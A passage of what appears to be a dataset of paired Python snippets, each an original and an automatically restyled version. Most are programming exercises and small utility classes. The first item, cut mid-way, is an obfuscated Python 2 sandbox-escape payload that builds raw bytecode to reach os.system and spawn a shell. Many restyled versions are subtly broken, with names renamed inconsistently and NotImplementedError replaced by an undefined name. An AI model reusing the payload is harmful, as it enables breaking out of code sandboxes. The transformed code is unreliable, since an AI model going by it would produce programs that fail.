'_' + '_bas' + 'es_' + '_',
'_' + '_subcl' + 'asses_' + '_',
'_' + '_init_' + '_',
'func_glob' + 'als',
'mod' + 'ules',
'o' + 's',
'sy' + 'stem'), (), '', '', 0, '')) + f() for\tf\tin [lambda\t: 1]]
'''
s = s.replace('\n', '').replace(' ', '')
print(s)
| s = "\n[setattr(f, 'func_code', type(f.func_code)(0, 0, 2, 67,\n'd\\x06\\x00j\\x00\\x00j\\x01\\x00d\\x01\\x00\\x19j\\x02\\x00\\x83\\x00\\x00d\\x02\\x00\\x19j\\x03\\x00j\\x04\\x00d\\x03\\x00\\x19j\\x05\\x00d\\x04\\x00\\x19j\\x06\\x00j\\x07\\x00d\\x05\\x00\\x83\\x01\\x00\\x01d\\x00\\x00'\n+ 's'.upper(),\n([].append(1), 0, 59, 'sys', 'o' + 's.path', 'sh', ()), ('_' + '_cl' + 'ass_' + '_',\n '_' + '_bas' + 'es_' + '_',\n '_' + '_subcl' + 'asses_' + '_',\n '_' + '_init_' + '_',\n 'func_glob' + 'als',\n 'mod' + 'ules',\n 'o' + 's',\n 'sy' + 'stem'), (), '', '', 0, '')) + f() for\tf\tin [lambda\t: 1]]\n"
s = s.replace('\n', '').replace(' ', '')
print(s) |
print("What is your first name?")
firstName = input()
print("What is your last name?")
lastName = input()
fullName = firstName + " " + lastName
greeting = "Hello " + fullName
print(greeting)
| print('What is your first name?')
first_name = input()
print('What is your last name?')
last_name = input()
full_name = firstName + ' ' + lastName
greeting = 'Hello ' + fullName
print(greeting) |
# Write your movie_review function here:
def movie_review(rating):
if rating <= 5:
return "Avoid at all costs!"
elif rating > 5 and rating < 9:
return "This one was fun."
else:
return "Outstanding!"
# Uncomment these function calls to test your movie_review function:
print(movie_review(9))
# should print "Outstanding!"
print(movie_review(4))
# should print "Avoid at all costs!"
print(movie_review(6))
# should print "This one was fun." | def movie_review(rating):
if rating <= 5:
return 'Avoid at all costs!'
elif rating > 5 and rating < 9:
return 'This one was fun.'
else:
return 'Outstanding!'
print(movie_review(9))
print(movie_review(4))
print(movie_review(6)) |
'''
Author: hdert
Date: 25/5/2018
Desc: Input Validation
Version: Dev Build V.0.1.6.9.1
'''
#--Librarys--
#--Definitions--
#--Variables--
choice = ""
number = 0
#-Main-Code--
while(choice != "e"):
'''
while(True):
choice = input("Enter a, b, or c: ")
if(choice.lower() == 'a' or choice.lower() == 'b' or choice.lower() == 'c'):
break
'''
if(number >= 1 and number <= 100):
break
while(True):
try:
number = int(input("Enter a number between 1 and 100: "))
except:
print("You did not enter a valid number")
if(number >= 1 and number <= 100):
break
else:
print("The Number has to be between 1 and 100")
| """
Author: hdert
Date: 25/5/2018
Desc: Input Validation
Version: Dev Build V.0.1.6.9.1
"""
choice = ''
number = 0
while choice != 'e':
'\n while(True):\n choice = input("Enter a, b, or c: ")\n if(choice.lower() == \'a\' or choice.lower() == \'b\' or choice.lower() == \'c\'):\n break\n '
if number >= 1 and number <= 100:
break
while True:
try:
number = int(input('Enter a number between 1 and 100: '))
except:
print('You did not enter a valid number')
if number >= 1 and number <= 100:
break
else:
print('The Number has to be between 1 and 100') |
class dtype(object):
def __init__(self):
super().__init__()
def is_floating_point(self) -> bool:
raise NotImplementedError('is_floating_point NotImplementedError')
def is_complex(self) -> bool:
raise NotImplementedError('is_complex NotImplementedError')
def is_signed(self) -> bool:
raise NotImplementedError('is_signed NotImplementedError')
class dtype_float32(dtype):
def __init__(self):
super().__init__()
def is_floating_point(self) -> bool:
return True
def is_complex(self) -> bool:
return False
def is_signed(self) -> bool:
return True
float32 = dtype_float32()
float = float32
| class Dtype(object):
def __init__(self):
super().__init__()
def is_floating_point(self) -> bool:
raise not_implemented_error('is_floating_point NotImplementedError')
def is_complex(self) -> bool:
raise not_implemented_error('is_complex NotImplementedError')
def is_signed(self) -> bool:
raise not_implemented_error('is_signed NotImplementedError')
class Dtype_Float32(dtype):
def __init__(self):
super().__init__()
def is_floating_point(self) -> bool:
return True
def is_complex(self) -> bool:
return False
def is_signed(self) -> bool:
return True
float32 = dtype_float32()
float = float32 |
def print_conversion(prev_char, cur_count, first_char):
space = '' if first_char else ' '
if prev_char == '0':
print('{}00 {}'.format(space, '0' * cur_count), end='')
else:
print('{}0 {}'.format(space, '0' * cur_count), end='')
def solution():
binary = []
for char in input():
binary.extend('{:b}'.format(ord(char)).zfill(7))
prev_char = None
cur_count = 0
first_char = True
for x in binary:
if prev_char is None:
prev_char = x
cur_count += 1
elif prev_char == x:
cur_count += 1
else:
print_conversion(prev_char, cur_count, first_char)
first_char = False
prev_char = x
cur_count = 1
print_conversion(prev_char, cur_count, first_char)
solution()
| def print_conversion(prev_char, cur_count, first_char):
space = '' if first_char else ' '
if prev_char == '0':
print('{}00 {}'.format(space, '0' * cur_count), end='')
else:
print('{}0 {}'.format(space, '0' * cur_count), end='')
def solution():
binary = []
for char in input():
binary.extend('{:b}'.format(ord(char)).zfill(7))
prev_char = None
cur_count = 0
first_char = True
for x in binary:
if prev_char is None:
prev_char = x
cur_count += 1
elif prev_char == x:
cur_count += 1
else:
print_conversion(prev_char, cur_count, first_char)
first_char = False
prev_char = x
cur_count = 1
print_conversion(prev_char, cur_count, first_char)
solution() |
class Exchange:
def __init__(self, name):
self.name = name
self.market_bases = {'BTC', 'ETH', 'USDT'}
self.coins = self.get_all_coin_balance()
self.dontTouch = {'XRP', 'XEM', 'BTC', 'DOGE', 'SC', 'NEO', 'ZEC', 'BTG', 'MONA', 'WINGS', 'USDT', 'IOTA', 'EOS', 'QTUM', 'ADA', 'XLM', 'LSK', 'BTS', 'XMR', 'DASH', 'SNT', 'BCC', 'BCH', 'SBTC', 'BCX', 'ETF', 'LTC', 'ETH', 'BNB', 'ADA', 'BTS', 'SNT'}
def connect_success(self):
print('connected %s' % self.name)
def get_pair(self, coin, base):
# return the specific pair format for this exchange
raise NotImplementedError("Please Implement this method")
def get_all_trading_pairs(self):
'''
get all possible traing pairs in the form
{
'bases': {'BTC', 'ETH', etc...},
'pairs': {
'BTC': { ... },
'ETH': { ... },
......
}
'all_pairs': { ... },
}
'''
raise NotImplementedError("Please Implement this method")
def get_all_trading_coins(self):
'''
get all possible traing coins in the form
{'eos, neo, ...'}
'''
raise NotImplementedError("Please Implement this method")
def get_my_pair(self, coin, base):
# return my format
return '%s-%s' % (coin, base)
def get_BTC_price(self):
raise NotImplementedError("Please Implement this method")
def get_price(self, coin, base='BTC'):
raise NotImplementedError("Please Implement this method")
def get_full_balance(self, allow_zero=False):
'''
return format {
'total': {
'BTC': BTC_value,
'USD': USD_value,
'num': coin_num
},
'USD': { ... },
coinName1: { ... },
coinName2: { ... },
...
}
'''
raise NotImplementedError("Please Implement this method")
def get_all_coin_balance(self, allow_zero=False):
'''
return format {
coinName1: num1,
coinName2: num2,
...
}
'''
raise NotImplementedError("Please Implement this method")
def get_trading_pairs(self):
'''
return format: {
'BTC': {'ADA', 'BAT', 'BTG', ...},
'ETH': {'BAT', 'BNT', 'DNT', 'ETC', ...},
'USDT': {'NEO', 'BTC', 'LTC', ...}
...
}
'''
raise NotImplementedError("Please Implement this method")
def get_market(self, coin, base):
raise NotImplementedError("Please Implement this method")
def get_coin_balance(self, coin):
if coin in self.coins.keys():
return self.coins[coin]
else:
return 0
def get_order(self, id):
raise NotImplementedError("Please Implement this method")
# ----------- might need to update self.coins after buy/sell ----------- #
def market_buy(self, coin, base='BTC', quantity=0):
'''
return format {
'exchange': [exchange name],
'side': [buy or sell],
'pair': [coin-base],
'price': [average filled price],
'quantity': [filled quantity],
'total': [total order value in BTC],
'fee': [fee in BTC],
'id': order id,
'id2': customed order id
}
'''
raise NotImplementedError("Please Implement this method")
def market_sell(self, coin, base='BTC', quantity=0):
raise NotImplementedError("Please Implement this method")
def market_sell_all(self, coin, base='BTC'):
quantity = self.get_coin_balance(coin)
if quantity <= 0:
print('%s does not have enough balance to sell' % coin)
return None
else:
return self.market_sell(coin, base=base, quantity=quantity)
def market_buy_everything(self, USD_price):
raise NotImplementedError("Please Implement this method")
def market_sell_everything(self):
res = []
for coin, num in self.coins.items():
if coin not in self.dontTouch:
response = self.market_sell_all(coin)
res.append(response)
print (response)
return res
| class Exchange:
def __init__(self, name):
self.name = name
self.market_bases = {'BTC', 'ETH', 'USDT'}
self.coins = self.get_all_coin_balance()
self.dontTouch = {'XRP', 'XEM', 'BTC', 'DOGE', 'SC', 'NEO', 'ZEC', 'BTG', 'MONA', 'WINGS', 'USDT', 'IOTA', 'EOS', 'QTUM', 'ADA', 'XLM', 'LSK', 'BTS', 'XMR', 'DASH', 'SNT', 'BCC', 'BCH', 'SBTC', 'BCX', 'ETF', 'LTC', 'ETH', 'BNB', 'ADA', 'BTS', 'SNT'}
def connect_success(self):
print('connected %s' % self.name)
def get_pair(self, coin, base):
raise not_implemented_error('Please Implement this method')
def get_all_trading_pairs(self):
"""
get all possible traing pairs in the form
{
'bases': {'BTC', 'ETH', etc...},
'pairs': {
'BTC': { ... },
'ETH': { ... },
......
}
'all_pairs': { ... },
}
"""
raise not_implemented_error('Please Implement this method')
def get_all_trading_coins(self):
"""
get all possible traing coins in the form
{'eos, neo, ...'}
"""
raise not_implemented_error('Please Implement this method')
def get_my_pair(self, coin, base):
return '%s-%s' % (coin, base)
def get_btc_price(self):
raise not_implemented_error('Please Implement this method')
def get_price(self, coin, base='BTC'):
raise not_implemented_error('Please Implement this method')
def get_full_balance(self, allow_zero=False):
"""
return format {
'total': {
'BTC': BTC_value,
'USD': USD_value,
'num': coin_num
},
'USD': { ... },
coinName1: { ... },
coinName2: { ... },
...
}
"""
raise not_implemented_error('Please Implement this method')
def get_all_coin_balance(self, allow_zero=False):
"""
return format {
coinName1: num1,
coinName2: num2,
...
}
"""
raise not_implemented_error('Please Implement this method')
def get_trading_pairs(self):
"""
return format: {
'BTC': {'ADA', 'BAT', 'BTG', ...},
'ETH': {'BAT', 'BNT', 'DNT', 'ETC', ...},
'USDT': {'NEO', 'BTC', 'LTC', ...}
...
}
"""
raise not_implemented_error('Please Implement this method')
def get_market(self, coin, base):
raise not_implemented_error('Please Implement this method')
def get_coin_balance(self, coin):
if coin in self.coins.keys():
return self.coins[coin]
else:
return 0
def get_order(self, id):
raise not_implemented_error('Please Implement this method')
def market_buy(self, coin, base='BTC', quantity=0):
"""
return format {
'exchange': [exchange name],
'side': [buy or sell],
'pair': [coin-base],
'price': [average filled price],
'quantity': [filled quantity],
'total': [total order value in BTC],
'fee': [fee in BTC],
'id': order id,
'id2': customed order id
}
"""
raise not_implemented_error('Please Implement this method')
def market_sell(self, coin, base='BTC', quantity=0):
raise not_implemented_error('Please Implement this method')
def market_sell_all(self, coin, base='BTC'):
quantity = self.get_coin_balance(coin)
if quantity <= 0:
print('%s does not have enough balance to sell' % coin)
return None
else:
return self.market_sell(coin, base=base, quantity=quantity)
def market_buy_everything(self, USD_price):
raise not_implemented_error('Please Implement this method')
def market_sell_everything(self):
res = []
for (coin, num) in self.coins.items():
if coin not in self.dontTouch:
response = self.market_sell_all(coin)
res.append(response)
print(response)
return res |
CELLMAP_WIDTH = 200
CELLMAP_HEIGHT = 200
SCREEN_WIDTH = 1200
SCREEN_HEIGHT = 1200
CELL_WIDTH = SCREEN_WIDTH / CELLMAP_WIDTH
CELL_HEIGHT = SCREEN_HEIGHT / CELLMAP_HEIGHT
FILL_CELL = 0
SHOW_QUADTREE = True
BLACK = (0, 0, 0)
WHITE = (255, 255, 255)
BLUE = (0, 0, 255)
RANDOM_CHANCE = 0.0625 | cellmap_width = 200
cellmap_height = 200
screen_width = 1200
screen_height = 1200
cell_width = SCREEN_WIDTH / CELLMAP_WIDTH
cell_height = SCREEN_HEIGHT / CELLMAP_HEIGHT
fill_cell = 0
show_quadtree = True
black = (0, 0, 0)
white = (255, 255, 255)
blue = (0, 0, 255)
random_chance = 0.0625 |
#!/usr/bin/env python3
inversions = 0
def count_inversions(input):
_ = merge_sort(input)
return inversions
def merge_sort(input):
if len(input) <= 1:
return input
mid = len(input) // 2
left = input[:mid]
right = input[mid:]
left = merge_sort(left)
right = merge_sort(right)
return merge(left, right)
def merge(left, right):
global inversions
result = []
len_left, len_right = len(left), len(right)
left_idx, right_idx = 0, 0
while left_idx < len_left and right_idx < len_right:
if left[left_idx] <= right[right_idx]:
result.append(left[left_idx])
left_idx += 1
else:
result.append(right[right_idx])
right_idx += 1
inversions += len(left[left_idx:])
if left_idx < len_left:
result.extend(left[left_idx:])
elif right_idx < len_right:
result.extend(right[right_idx:])
return result | inversions = 0
def count_inversions(input):
_ = merge_sort(input)
return inversions
def merge_sort(input):
if len(input) <= 1:
return input
mid = len(input) // 2
left = input[:mid]
right = input[mid:]
left = merge_sort(left)
right = merge_sort(right)
return merge(left, right)
def merge(left, right):
global inversions
result = []
(len_left, len_right) = (len(left), len(right))
(left_idx, right_idx) = (0, 0)
while left_idx < len_left and right_idx < len_right:
if left[left_idx] <= right[right_idx]:
result.append(left[left_idx])
left_idx += 1
else:
result.append(right[right_idx])
right_idx += 1
inversions += len(left[left_idx:])
if left_idx < len_left:
result.extend(left[left_idx:])
elif right_idx < len_right:
result.extend(right[right_idx:])
return result |
test = { 'name': 'q3a',
'points': 1,
'suites': [ { 'cases': [ { 'code': '>>> diabetes_2d.shape\n'
'(442, 2)',
'hidden': False,
'locked': False},
{ 'code': '>>> -0.10 < '
'np.sum(diabetes_2d[0]) < 0\n'
'True',
'hidden': False,
'locked': False},
{ 'code': '>>> np.isclose(0, '
'np.sum(diabetes_2d))\n'
'True',
'hidden': False,
'locked': False}],
'scored': True,
'setup': '',
'teardown': '',
'type': 'doctest'}]}
| test = {'name': 'q3a', 'points': 1, 'suites': [{'cases': [{'code': '>>> diabetes_2d.shape\n(442, 2)', 'hidden': False, 'locked': False}, {'code': '>>> -0.10 < np.sum(diabetes_2d[0]) < 0\nTrue', 'hidden': False, 'locked': False}, {'code': '>>> np.isclose(0, np.sum(diabetes_2d))\nTrue', 'hidden': False, 'locked': False}], 'scored': True, 'setup': '', 'teardown': '', 'type': 'doctest'}]} |
def binary_diagnostic(input):
numberLength = (len(input[0]))
gammaRate = ''
for col in range(numberLength):
ones = 0
for line in input:
if line[col] == '1':
ones += 1
else:
ones -= 1
gammaRate += '1' if ones >= 0 else '0'
gammaRate = int(gammaRate, 2)
epsilonRate = ~gammaRate & (2 ** numberLength) - 1
return gammaRate * epsilonRate
with open('input.txt') as f:
print(binary_diagnostic(f.read().split()))
| def binary_diagnostic(input):
number_length = len(input[0])
gamma_rate = ''
for col in range(numberLength):
ones = 0
for line in input:
if line[col] == '1':
ones += 1
else:
ones -= 1
gamma_rate += '1' if ones >= 0 else '0'
gamma_rate = int(gammaRate, 2)
epsilon_rate = ~gammaRate & 2 ** numberLength - 1
return gammaRate * epsilonRate
with open('input.txt') as f:
print(binary_diagnostic(f.read().split())) |
def maxmin(A):
if len(A) == 1:
return A[0], A[0]
elif len(A) == 2:
return max(A[0], A[1]), min(A[0], A[1])
maxl, minl = maxmin(A[:int(len(A) / 2)])
maxr, minr = maxmin(A[int(len(A) / 2):])
return max(maxl, maxr), min(minl, minr)
class Solution:
# @param A : list of integers
# @return an integer
def solve(self, A):
return sum(maxmin(A))
# Explanation of complexity:
# T(n) denotes the number of comparisons for input of size number
# T(0) = 0, T(1) = 0, T(2) = 1
# Base equation
# T(n) = 2T(n / 2) + 2
# Derived equation
# T(n) = 2^kT(n / 2^k) + 2^k+1 - 2
# Since T(2) = 1,
# n / 2^k = 2 => k = log(n) - 1 where base(log) = 2
# Replacing the value of k in the derived equation above:
# T(n) = 3n / 2 - 2 | def maxmin(A):
if len(A) == 1:
return (A[0], A[0])
elif len(A) == 2:
return (max(A[0], A[1]), min(A[0], A[1]))
(maxl, minl) = maxmin(A[:int(len(A) / 2)])
(maxr, minr) = maxmin(A[int(len(A) / 2):])
return (max(maxl, maxr), min(minl, minr))
class Solution:
def solve(self, A):
return sum(maxmin(A)) |
class StartTimeVariables:
@classmethod
def Checklist(cls):
cls.INTAG = None
return cls
| class Starttimevariables:
@classmethod
def checklist(cls):
cls.INTAG = None
return cls |
class Encoder():
def encode_char(self, char, order):
return char
def _to_index(self, char):
return ord(char) - ord('A')
def _to_char(self, index):
return chr(index + ord('A'))
| class Encoder:
def encode_char(self, char, order):
return char
def _to_index(self, char):
return ord(char) - ord('A')
def _to_char(self, index):
return chr(index + ord('A')) |
# ----------------------Cutter Model Error Messages---------------------------
NEG_OVERLAP_LAST_PROP_MESSAGE = \
"the overlap or last segment proportion should not be negative"
LARGER_SEG_SIZE_MESSAGE = \
"the segment size should be larger than the overlap size"
INVALID_CUTTING_TYPE_MESSAGE = "the cutting type should be letters, lines, " \
"number, words or milestone"
EMPTY_MILESTONE_MESSAGE = "the milestone should not be empty"
# ----------------------------------------------------------------------------
# ----------------------Similarity Model Error Messages-----------------------
NON_NEGATIVE_INDEX_MESSAGE = "the index should be larger than or equal to zero"
# ----------------------------------------------------------------------------
# ----------------------Topword Model Error Messages--------------------------
NOT_ENOUGH_CLASSES_MESSAGE = "Only one class given, cannot do Z-test by " \
"class, at least 2 classes needed."
# ----------------------------------------------------------------------------
# ----------------------Rolling Window Analyzer Error Messages----------------
WINDOW_SIZE_LARGE_MESSAGE = "The window size must be less than or equal to" \
" the length of the given document"
WINDOW_NON_POSITIVE_MESSAGE = "The window size must be a positive integer"
# ----------------------------------------------------------------------------
# ----------------------Scrubber Error Messages-------------------------------
NOT_ONE_REPLACEMENT_COLON_MESSAGE = "Invalid number of colons or commas."
REPLACEMENT_RIGHT_OPERAND_MESSAGE = \
"Too many values on right side of replacement string."
REPLACEMENT_NO_LEFT_HAND_MESSAGE = \
"Missing value on the left side of replacement string."
# ----------------------------------------------------------------------------
# ======================== General Errors ====================================
SEG_NON_POSITIVE_MESSAGE = "The segment size must be a positive integer."
EMPTY_DTM_MESSAGE = "Empty DTM received, please upload files."
EMPTY_LIST_MESSAGE = "The list should not be empty."
EMPTY_NP_ARRAY_MESSAGE = "The input numpy array should not be empty."
# ======================== Base Model Errors =================================
NO_DATA_SENT_ERROR_MESSAGE = 'Front end did not send data to backend'
| neg_overlap_last_prop_message = 'the overlap or last segment proportion should not be negative'
larger_seg_size_message = 'the segment size should be larger than the overlap size'
invalid_cutting_type_message = 'the cutting type should be letters, lines, number, words or milestone'
empty_milestone_message = 'the milestone should not be empty'
non_negative_index_message = 'the index should be larger than or equal to zero'
not_enough_classes_message = 'Only one class given, cannot do Z-test by class, at least 2 classes needed.'
window_size_large_message = 'The window size must be less than or equal to the length of the given document'
window_non_positive_message = 'The window size must be a positive integer'
not_one_replacement_colon_message = 'Invalid number of colons or commas.'
replacement_right_operand_message = 'Too many values on right side of replacement string.'
replacement_no_left_hand_message = 'Missing value on the left side of replacement string.'
seg_non_positive_message = 'The segment size must be a positive integer.'
empty_dtm_message = 'Empty DTM received, please upload files.'
empty_list_message = 'The list should not be empty.'
empty_np_array_message = 'The input numpy array should not be empty.'
no_data_sent_error_message = 'Front end did not send data to backend' |
base = 40
altura = 47
print('area del cuadrado =', base*altura)
| base = 40
altura = 47
print('area del cuadrado =', base * altura) |
def main():
K = input()
D = int(input())
L = len(K)
dp = [[[0, 0] for _ in range(D)] for _ in range(L+1)]
mod = 10 ** 9 + 7
dp[0][0][1] = 1
for i in range(L):
d = int(K[i])
for j in range(D):
for k in range(10):
dp[i+1][(j + k) % D][0] += dp[i][j][0]
dp[i+1][(j + k) % D][0] %= mod
if k < d:
dp[i+1][(j + k) % D][0] += dp[i][j][1]
dp[i+1][(j + k) % D][0] %= mod
elif k == d:
dp[i+1][(j + k) % D][1] += dp[i][j][1]
dp[i+1][(j + k) % D][1] %= mod
print((sum(dp[-1][0]) + mod - 1) % mod)
if __name__ == '__main__':
main()
| def main():
k = input()
d = int(input())
l = len(K)
dp = [[[0, 0] for _ in range(D)] for _ in range(L + 1)]
mod = 10 ** 9 + 7
dp[0][0][1] = 1
for i in range(L):
d = int(K[i])
for j in range(D):
for k in range(10):
dp[i + 1][(j + k) % D][0] += dp[i][j][0]
dp[i + 1][(j + k) % D][0] %= mod
if k < d:
dp[i + 1][(j + k) % D][0] += dp[i][j][1]
dp[i + 1][(j + k) % D][0] %= mod
elif k == d:
dp[i + 1][(j + k) % D][1] += dp[i][j][1]
dp[i + 1][(j + k) % D][1] %= mod
print((sum(dp[-1][0]) + mod - 1) % mod)
if __name__ == '__main__':
main() |
# Twitter error codes
TWITTER_PAGE_DOES_NOT_EXISTS_ERROR = 34
TWITTER_USER_NOT_FOUND_ERROR = 50
TWITTER_TWEET_NOT_FOUND_ERROR = 144
TWITTER_DELETE_OTHER_USER_TWEET = 183
TWITTER_ACCOUNT_SUSPENDED_ERROR = 64
TWITTER_USER_IS_NOT_LIST_MEMBER_SUBSCRIBER = 109
TWITTER_AUTOMATED_REQUEST_ERROR = 226
TWITTER_OVER_CAPACITY_ERROR = 130
TWITTER_DAILY_STATUS_UPDATE_LIMIT_ERROR = 185
TWITTER_CHARACTER_LIMIT_ERROR_1 = 186
TWITTER_CHARACTER_LIMIT_ERROR_2 = 354
TWITTER_STATUS_DUPLICATE_ERROR = 187
# Twitter non-tweet events
TWITTER_NON_TWEET_EVENTS = ['access_revoked', 'block', 'unblock', 'favorite', 'unfavorite', 'follow', 'unfollow',
'list_created', 'list_destroyed', 'list_updated', 'list_member_added', 'list_member_removed',
'list_user_subscribed', 'list_user_unsubscribed', 'quoted_tweet', 'user_update']
| twitter_page_does_not_exists_error = 34
twitter_user_not_found_error = 50
twitter_tweet_not_found_error = 144
twitter_delete_other_user_tweet = 183
twitter_account_suspended_error = 64
twitter_user_is_not_list_member_subscriber = 109
twitter_automated_request_error = 226
twitter_over_capacity_error = 130
twitter_daily_status_update_limit_error = 185
twitter_character_limit_error_1 = 186
twitter_character_limit_error_2 = 354
twitter_status_duplicate_error = 187
twitter_non_tweet_events = ['access_revoked', 'block', 'unblock', 'favorite', 'unfavorite', 'follow', 'unfollow', 'list_created', 'list_destroyed', 'list_updated', 'list_member_added', 'list_member_removed', 'list_user_subscribed', 'list_user_unsubscribed', 'quoted_tweet', 'user_update'] |
with open('./inputs/04.txt') as f:
passphrases = f.readlines()
first = 0
second = 0
are_only_distinct = lambda x: len(x) == len(set(x))
for line in passphrases:
words = line.split()
first += are_only_distinct(words)
anagrams = [''.join(sorted(word)) for word in words]
second += are_only_distinct(anagrams)
print(first)
print(second)
| with open('./inputs/04.txt') as f:
passphrases = f.readlines()
first = 0
second = 0
are_only_distinct = lambda x: len(x) == len(set(x))
for line in passphrases:
words = line.split()
first += are_only_distinct(words)
anagrams = [''.join(sorted(word)) for word in words]
second += are_only_distinct(anagrams)
print(first)
print(second) |
# Definition for a binary tree node.
# class TreeNode:
# def __init__(self, val=0, left=None, right=None):
# self.val = val
# self.left = left
# self.right = right
class Solution:
def sumNumbers(self, root: TreeNode) -> int:
res = []
num = root.val
val=0
self.helper(root,val,res)
return sum(res)
def helper(self,root,val,res):
if not root:
return
if not root.left and not root.right:
val=val*10+root.val
res.append(val)
return
if root:
val=val*10+root.val
self.helper(root.left,val,res)
self.helper(root.right,val,res)
| class Solution:
def sum_numbers(self, root: TreeNode) -> int:
res = []
num = root.val
val = 0
self.helper(root, val, res)
return sum(res)
def helper(self, root, val, res):
if not root:
return
if not root.left and (not root.right):
val = val * 10 + root.val
res.append(val)
return
if root:
val = val * 10 + root.val
self.helper(root.left, val, res)
self.helper(root.right, val, res) |
def cart_prod(*sets):
result = [[]]
set_list = list(sets)
for s in set_list:
result = [x+[y] for x in result for y in s]
if (len(set_list) > 0):
return {tuple(prod) for prod in result}
else:
return set(tuple())
A = {1}
B = {1, 2}
C = {1, 2, 3}
X = {'a'}
Y = {'a', 'b'}
Z = {'a', 'b', 'c'}
print(cart_prod(A, B, C))
print(cart_prod(X, Y, Z))
| def cart_prod(*sets):
result = [[]]
set_list = list(sets)
for s in set_list:
result = [x + [y] for x in result for y in s]
if len(set_list) > 0:
return {tuple(prod) for prod in result}
else:
return set(tuple())
a = {1}
b = {1, 2}
c = {1, 2, 3}
x = {'a'}
y = {'a', 'b'}
z = {'a', 'b', 'c'}
print(cart_prod(A, B, C))
print(cart_prod(X, Y, Z)) |
class Solution:
def getRow(self, rowIndex):
def n_c_r(n, r):
numerator = 1
for i in xrange(1, r + 1):
numerator *= n - (i - 1)
numerator /= i
return numerator
return [n_c_r(rowIndex, i) for i in xrange(rowIndex + 1)]
| class Solution:
def get_row(self, rowIndex):
def n_c_r(n, r):
numerator = 1
for i in xrange(1, r + 1):
numerator *= n - (i - 1)
numerator /= i
return numerator
return [n_c_r(rowIndex, i) for i in xrange(rowIndex + 1)] |
class Solution:
def removeOuterParentheses(self, S: str) -> str:
stack = []
is_assemble = False
assembler = ""
result = ""
for p in S:
if p == "(":
if is_assemble:
assembler += p
if not stack:
is_assemble = True
stack.append(p)
else:
stack.pop()
if not stack:
result += assembler
assembler = ""
is_assemble = False
if is_assemble:
assembler += p
return result
| class Solution:
def remove_outer_parentheses(self, S: str) -> str:
stack = []
is_assemble = False
assembler = ''
result = ''
for p in S:
if p == '(':
if is_assemble:
assembler += p
if not stack:
is_assemble = True
stack.append(p)
else:
stack.pop()
if not stack:
result += assembler
assembler = ''
is_assemble = False
if is_assemble:
assembler += p
return result |
message = "Hello python world"
print(message)
message = "Hello python crash course world"
print(message) | message = 'Hello python world'
print(message)
message = 'Hello python crash course world'
print(message) |
class Solution:
def singleNumber(self, nums: List[int]) -> int:
d = {}
for n in nums:
if n in d:
d[n] += 1
else:
d[n] = 1
for k in d:
if d[k] == 1:
return k
| class Solution:
def single_number(self, nums: List[int]) -> int:
d = {}
for n in nums:
if n in d:
d[n] += 1
else:
d[n] = 1
for k in d:
if d[k] == 1:
return k |
def postorder(tree):
if tree != None:
postorder(tree.getLeftChild())
postorder(tree.getRightChild())
print(tree.getRootVal())
| def postorder(tree):
if tree != None:
postorder(tree.getLeftChild())
postorder(tree.getRightChild())
print(tree.getRootVal()) |
__version__ = "0.8.10"
__format_version__ = 3
__format_version_mcool__ = 2
__format_version_scool__ = 1
| __version__ = '0.8.10'
__format_version__ = 3
__format_version_mcool__ = 2
__format_version_scool__ = 1 |
class Solution:
def maxIncreaseKeepingSkyline(self, grid: List[List[int]]) -> int:
row_max = list(map(max, grid))
col_max = list(map(max, zip(*grid)))
return sum(
min(row_max[i], col_max[j]) - val
for i, row in enumerate(grid)
for j, val in enumerate(row)
)
| class Solution:
def max_increase_keeping_skyline(self, grid: List[List[int]]) -> int:
row_max = list(map(max, grid))
col_max = list(map(max, zip(*grid)))
return sum((min(row_max[i], col_max[j]) - val for (i, row) in enumerate(grid) for (j, val) in enumerate(row))) |
# hw08_02
for i in range(1, 9+1, 2):
print("{:^9}".format("^"*i))
'''
^
^^^
^^^^^
^^^^^^^
^^^^^^^^^
''' | for i in range(1, 9 + 1, 2):
print('{:^9}'.format('^' * i))
'\n\n ^\n ^^^\n ^^^^^\n ^^^^^^^\n^^^^^^^^^\n\n' |
# http://www.codewars.com/kata/55c933c115a8c426ac000082/
def eval_object(v):
return {"+": v['a'] + v['b'],
"-": v['a'] - v['b'],
"/": v['a'] / v['b'],
"*": v['a'] * v['b'],
"%": v['a'] % v['b'],
"**": v['a'] ** v['b']}.get(v.get('operation', 1))
| def eval_object(v):
return {'+': v['a'] + v['b'], '-': v['a'] - v['b'], '/': v['a'] / v['b'], '*': v['a'] * v['b'], '%': v['a'] % v['b'], '**': v['a'] ** v['b']}.get(v.get('operation', 1)) |
def oddNumbers(l, r):
result = []
for i in range(l, r + 1):
if i % 2 == 1:
result.append(i)
return result
| def odd_numbers(l, r):
result = []
for i in range(l, r + 1):
if i % 2 == 1:
result.append(i)
return result |
description = 'Lambda power supplies'
group = 'optional'
tango_base = 'tango://172.28.77.81:10000/antares/'
devices = dict(
I_lambda1 = device('nicos.devices.entangle.PowerSupply',
description = 'Current 1',
tangodevice = tango_base + 'lambda1/current',
precision = 0.04,
timeout = 10,
),
)
| description = 'Lambda power supplies'
group = 'optional'
tango_base = 'tango://172.28.77.81:10000/antares/'
devices = dict(I_lambda1=device('nicos.devices.entangle.PowerSupply', description='Current 1', tangodevice=tango_base + 'lambda1/current', precision=0.04, timeout=10)) |
def solution():
def integers():
num = 1
while True:
yield num
num += 1
def halves():
for i in integers():
yield i / 2
def take(n, seq):
take_list = []
for num in seq:
if len(take_list) == n:
return take_list
take_list.append(num)
return take, halves, integers
take = solution()[0]
halves = solution()[1]
print(take(5, halves()))
| def solution():
def integers():
num = 1
while True:
yield num
num += 1
def halves():
for i in integers():
yield (i / 2)
def take(n, seq):
take_list = []
for num in seq:
if len(take_list) == n:
return take_list
take_list.append(num)
return (take, halves, integers)
take = solution()[0]
halves = solution()[1]
print(take(5, halves())) |
def longest_consecutive_subsequence(input_list):
# TODO: Write longest consecutive subsequence solution
input_list.sort()
# iterate over the list and store element in a suitable data structure
subseq_indexes = {}
index = 0
for el in input_list:
if index not in subseq_indexes:
subseq_indexes[index] = [el]
elif subseq_indexes[index][-1] + 1 == el:
subseq_indexes[index].append(el)
else:
index += 1
subseq_indexes[index] = [el]
# traverse / go over the data structure in a reasonable order to determine the solution
longest_subseq = max(subseq_indexes.values(), key=len)
return longest_subseq
res = longest_consecutive_subsequence([5, 4, 7, 10, 1, 3, 55, 2, 6])
print(res)
# should be [1, 2, 3, 4, 5, 6, 7]
| def longest_consecutive_subsequence(input_list):
input_list.sort()
subseq_indexes = {}
index = 0
for el in input_list:
if index not in subseq_indexes:
subseq_indexes[index] = [el]
elif subseq_indexes[index][-1] + 1 == el:
subseq_indexes[index].append(el)
else:
index += 1
subseq_indexes[index] = [el]
longest_subseq = max(subseq_indexes.values(), key=len)
